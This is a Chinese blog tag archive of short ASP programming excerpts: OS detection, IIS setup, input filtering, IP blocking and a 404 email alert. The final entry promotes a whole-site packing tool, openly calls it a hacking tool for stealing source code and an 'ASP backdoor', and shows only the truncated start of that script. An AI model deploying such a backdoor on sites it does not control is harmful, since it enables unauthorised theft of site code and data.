Tag Archives: ASP

ASP判断操作系统的代码

以下是Asp判断客户端操作系统源码,支持自定义关键词,支持“<img”方式调用: <% Function GetSysVer() '获取系统类型(可以判断:29种操作系统(包括手机)) GetSysVer="Other Unknown" TheInfo = UCase(Request.ServerVariables("HTTP_USER_AGENT")) if Instr(TheInfo,UCase("x11"))>0 or Instr(TheInfo,UCase("Unix"))>0 then GetSysVer="Unix" if Instr(TheInfo,UCase("Sunos"))>0 or In

Posted in Technology | Tagged , | Leave a comment

PJBlog无缝转换到ZBlog的ASP程序

pop:闲着无聊又想把博客的程序换一下,所以找了一些转换程序,看是否能有合适我博客转换的。这个程序很不错,可以把TAG、评论、留言、分类等都移植过去,真的是无缝转换。 程序说明: 1、把文件传到ASP空间上就可以了 2、转换后zblog的用户

Posted in Technology | Tagged , , , | 4 Comments

Windows 7下安装IIS及配置ASP详解

pop:之前XP安装IIS还需要放入光盘,现在winodws7都不需要光盘了,直接安装就可以搞定了。具体的步骤如下 1、进入Windows 7的“控制面板”--“程序和功能”,选择左侧的“打开或关闭Windows功能”。 2、现在出现了安装Windows功能的选项菜单,注意选择的项目,一般来说默认就可以了。但是为了开启ASP的服务,就要勾选一下“应用程序开发功能”下的“ASP和ISAPI扩展” 3、安装完成后,点击“控制面板”--“所有控制面板项”--“管理工具”,双击“Internet(IIS)管理器”进入IIS的设置。 4、选择“Default Web Site”,并双击右边的“ASP”选项 5、这时弹出了ASP的默认配置,在“启用父路径”这里选择“True”即可开启父路径。(至于为什么要开父路径自己去搜索一下,也就是为了支持 ../ 类似的调用语句) 6、配置IIS7的站点。 单击右边的 高级设置 选项,可以设置网站的目录。 7、点击右侧的“绑定...”,设置网站的端口,默认为80,也可以为其他端口 。 8、点击“默认文档”, 设置网站的默认首页文档,根据自己网站首页文件进行设置即可。 至此,Windows 7的IIS7设置已经基本完成了,ASP+Access程序也可以调试成功。 原文地址(附图片): http://blog.sina.com.cn/s/blog_55b0c6470100h355.html

Posted in Technology | Tagged , , | 2 Comments

ASP过滤特殊字符的模块源码

实现效果:通过对特殊字符的转换,可以保证数据的安全。 代码如下: <% Function FormatHTML(fString)     If fString<>"" Then         fString = trim(fString)         fString = replace(fString, ";", ";")     ''分号过滤 >        fString = replace(fString, "--", "——") ''--过滤         fString = replace(fString, "%20", "")    ''特殊字符过滤 p;    fString = replace(fString, "==", "")     ''==过滤         fString = replace(fString, ">", ">")         fString … Continue reading

Posted in Technology | Tagged , , | 1 Comment

ASP实现404错误时自动发邮件管理员

实现的效果: 当访问出现404错误提示信息的时候系统会自动发一封邮件给管理员,这样就不必担心了也有不能访问的死链接了 把下面的带嵌入到404页面之后,设置好中间的帐号和密码。 代码如下: <% @language="vbscript" %> <% Option Explicit %> <%     Dim strPage, strReferer, strMessage     Dim objSMTP     ' Log the offending page     strPage = Request.ServerVariables("HTTP_URL")     ' Log the referer     strReferer = Request.ServerVariables("HTTP_REFERER")     … Continue reading

Posted in Technology | Tagged , , | Leave a comment

网页(HTML/CSS/JS/ASP)注释代码的标准语句

注释的作用就是为了以后方面自己修改,当然注释的代码是不执行的,也可以注释一些经常需要修改的代码 一、html的注释方法 二、CSS的注释方法 在单独的css样式表文件中也采用此方法注释 三、java 四、asp 'asp单行需要注释的内容 其他注释方法: vbs用“&apos;”或“REM”来注释内容 PHP支持C,C++和Unix风格的注释方式: /* C,C++ 多行注释的内容 */ // C++ 单行注释的内容 # Unix 单行注释的内容

Posted in Technology | Tagged , , , , | Leave a comment

ASP屏蔽访问的IP地址

将下面的代码保存为 .asp的文件,如1.asp 代码如下: <% '受屏蔽IP地址(段)集合,星号为通配符,通常保存于配置文件中。 Const BadIPGroup = "192.168.1.*|119.96.207.*" If IsForbidIP(BadIPGroup) = True Then Response.Write("您的IP地址是:"& GetIP &"&nbsp;此IP地址禁止访问!") Response.End() End If '参数vBadIP:要屏蔽的IP段,IP地址集合,用|符号分隔多个IP地址(段) '返回Bool:True用户IP在被屏蔽范围,False 反之 Function IsForbidIP(vBadIP) Dim counter, arrIPPart, arrBadIP, arrBadIPPart, i, j arrBadIP = Split(vBadIP, "|") arrIPPart = Split(GetIP(), ".") … Continue reading

Posted in Technology | Tagged , | Leave a comment

ASP.NET中Session登录后丢失解决方案

最近做网站后台的时候,登陆后发现刷新页面时Session会丢失,过几秒钟也会自然丢失,查了资料后发现可以这样解决: 具体解决步骤: 当您在负载平衡的 Web 场环境中运行 ASP.NET Web 应用程序时,一定要使用 SqlServer 或 StateServer 会话状态模式,在项目中我们基于性能考虑并没有选择SqlServer模式来存储Session状态,而是选择一台SessionStateServer 服务器来用户的Session会话状态。 我们要在系统配置文件web.config中设置如下: mode="StateServer" //就是修改这里为“StateServer” stateConnectionString="tcpip=127.0.0.1:42424" sqlConnectionString="data source=127.0.0.1;Trusted_Connection=yes" cookieless="false" timeout="30" /> 2、打开“控制面板--管理工具--服务”,将“ASP.NET State Service”把它设为自动启动即可。

Posted in Technology | Tagged , | Leave a comment

ip138查询ASP源码

pop:在网上搜集到的,随便修改了一下。要正常使用的话,下载一个最新的纯真IP数据库到目录下就可以查询了。 代码如下: <% IP = request("IP") If IP = "" then IP = Request.ServerVariables("REMOTE_ADDR") %> <style type="text/css"> <!-- .search {     height: auto;     width: 200px; } .STYLE1 {     font-size: 12px;     font-weight: bold; } --> </style> <title>ip138ASP查询程序</title><table width="400" … Continue reading

Posted in Technology | Tagged , , | Leave a comment

ASP网站整站打包解压工具:ASPWebPack + ASP网站打包急速版 下载

ASPWebPack(整站文件备份系统) v1.0 功能列表:1、备份数据 2、恢复数据 3、上传备份 4、备份管理 程序说明:拥有了 ASPWebPack,上传更新网站,您只需一步即可完成。适用于空间没有代备份功能的用户,如果您的虚拟主机自带了备份功能,那可以用来辅助整站下载嘛。更适用于做为黑工具,方便各种职业下载整站源代码商业拍卖(声明:作者的意图并非如此,希望大家勿用于非法。)。反正就是方便到家啦,希望大家喜欢。 补充说明:本地打包文件请使用NetBox,或者自己开本地IIS。 作者声明:本程序只作为辅助站长备份站点使用,请勿用于非法。版权归 Cool-Co 所有,如擅自非法使用本人概不负责。 JiaJia 使用报告:可以用精辟的四个字来形容,那就是“非常好用”,真的好用,其他的我想不出什么不好用的地方啦。 默认密码:yulv.net 下载地址: http://www.cncode.com/downinfo/10862.html http://www.newasp.net/code/asp/22837.html ASP网站打包急速(推荐) ASP网站打包急速版 //1.asp ASP后门打包 //解压.vbs VBS本地解压 用记事本打开1.asp文件,找到pop.mdb,把pop.mdb改成您想要的名称 1.asp内容: <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <% Option Explicit Response.Buffer = True Server.ScriptTimeOut=999999999 %> <% dim dbFile,Fso,Sql,mdbFile,Cat,Conn,Rs,obj,objFolder,objFile,objStream,strNoPack mdbFile="pop.mdb" … Continue reading

Posted in Technology | Tagged , , | Leave a comment